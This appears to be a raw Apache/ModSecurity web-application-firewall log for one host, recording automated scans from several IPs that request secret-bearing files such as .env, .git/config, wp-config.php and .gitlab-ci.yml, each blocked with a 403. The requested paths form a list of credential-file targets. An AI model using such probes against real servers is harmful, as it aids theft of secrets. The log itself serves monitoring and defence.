[Tue Oct 28 19:45:43.617552 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQEPVxJAUclTzSyltLpqRQAAAAo&quot;]
[Tue Oct 28 19:45:44.176447 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aQEPWBJAUclTzSyltLpqRgAAAAo&quot;]
[Tue Oct 28 19:45:44.180947 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aQEPWBJAUclTzSyltLpqRgAAAAo&quot;]
[Tue Oct 28 19:45:44.181191 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aQEPWBJAUclTzSyltLpqRgAAAAo&quot;]
[Tue Oct 28 19:45:44.502100 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aQEPWBJAUclTzSyltLpqRwAAAAo&quot;]
[Tue Oct 28 19:45:44.505881 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aQEPWBJAUclTzSyltLpqRwAAAAo&quot;]
[Tue Oct 28 19:45:44.506098 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aQEPWBJAUclTzSyltLpqRwAAAAo&quot;]
[Tue Oct 28 19:45:44.945264 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aQEPWBJAUclTzSyltLpqSAAAAAo&quot;]
[Tue Oct 28 19:45:44.949125 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aQEPWBJAUclTzSyltLpqSAAAAAo&quot;]
[Tue Oct 28 19:45:44.949319 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aQEPWBJAUclTzSyltLpqSAAAAAo&quot;]
[Tue Oct 28 19:45:45.542428 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aQEPWRJAUclTzSyltLpqSQAAAAo&quot;]
[Tue Oct 28 19:45:45.542886 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aQEPWRJAUclTzSyltLpqSQAAAAo&quot;]
[Tue Oct 28 19:45:45.546744 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aQEPWRJAUclTzSyltLpqSQAAAAo&quot;]
[Tue Oct 28 19:45:45.546940 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.bak&quot;] [unique_id &quot;aQEPWRJAUclTzSyltLpqSQAAAAo&quot;]
[Tue Oct 28 19:45:46.136825 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aQEPWhJAUclTzSyltLpqSgAAAAo&quot;]
[Tue Oct 28 19:45:46.140789 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aQEPWhJAUclTzSyltLpqSgAAAAo&quot;]
[Tue Oct 28 19:45:46.141028 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/logs/HEAD&quot;] [unique_id &quot;aQEPWhJAUclTzSyltLpqSgAAAAo&quot;]
[Tue Oct 28 19:45:46.581310 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aQEPWhJAUclTzSyltLpqSwAAAAo&quot;]
[Tue Oct 28 19:45:46.585121 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aQEPWhJAUclTzSyltLpqSwAAAAo&quot;]
[Tue Oct 28 19:45:46.585321 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aQEPWhJAUclTzSyltLpqSwAAAAo&quot;]
[Tue Oct 28 19:45:47.647819 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Warning. Matched phrase &quot;.gitlab-ci.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /.gitlab-ci.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aQEPWxJAUclTzSyltLpqTAAAAAo&quot;]
[Tue Oct 28 19:45:47.651621 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aQEPWxJAUclTzSyltLpqTAAAAAo&quot;]
[Tue Oct 28 19:45:47.651816 2025] [:error] [pid 3831993] [client 195.178.110.201:56408] [client 195.178.110.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aQEPWxJAUclTzSyltLpqTAAAAAo&quot;]
[Wed Oct 29 01:01:58.547442 2025] [:error] [pid 3842680] [client 194.26.192.110:50216] [client 194.26.192.110] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQFZdtkURwtfWoM4NHtXwAAAAAI&quot;]
[Wed Oct 29 01:01:58.547706 2025] [:error] [pid 3842680] [client 194.26.192.110:50216] [client 194.26.192.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQFZdtkURwtfWoM4NHtXwAAAAAI&quot;]
[Wed Oct 29 01:01:58.547872 2025] [:error] [pid 3842680] [client 194.26.192.110:50216] [client 194.26.192.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aQFZdtkURwtfWoM4NHtXwAAAAAI&quot;]
[Wed Oct 29 04:30:39.249519 2025] [:error] [pid 3844838] [client 195.178.110.223:39094] [client 195.178.110.223] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQGKX80pe_7wj3RxLl5CZAAAAAE&quot;]
[Wed Oct 29 04:30:39.249854 2025] [:error] [pid 3844838] [client 195.178.110.223:39094] [client 195.178.110.223] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQGKX80pe_7wj3RxLl5CZAAAAAE&quot;]
[Wed Oct 29 04:30:39.250021 2025] [:error] [pid 3844838] [client 195.178.110.223:39094] [client 195.178.110.223] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQGKX80pe_7wj3RxLl5CZAAAAAE&quot;]
[Wed Oct 29 05:08:03.929052 2025] [:error] [pid 3845156] [client 185.177.72.8:58186] [client 185.177.72.8] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQGTI8DXzNce7NzyO-zRCQAAABE&quot;]
[Wed Oct 29 05:08:03.929315 2025] [:error] [pid 3845156] [client 185.177.72.8:58186] [client 185.177.72.8] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQGTI8DXzNce7NzyO-zRCQAAABE&quot;]
[Wed Oct 29 05:08:03.929465 2025] [:error] [pid 3845156] [client 185.177.72.8:58186] [client 185.177.72.8] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aQGTI8DXzNce7NzyO-zRCQAAABE&quot;]
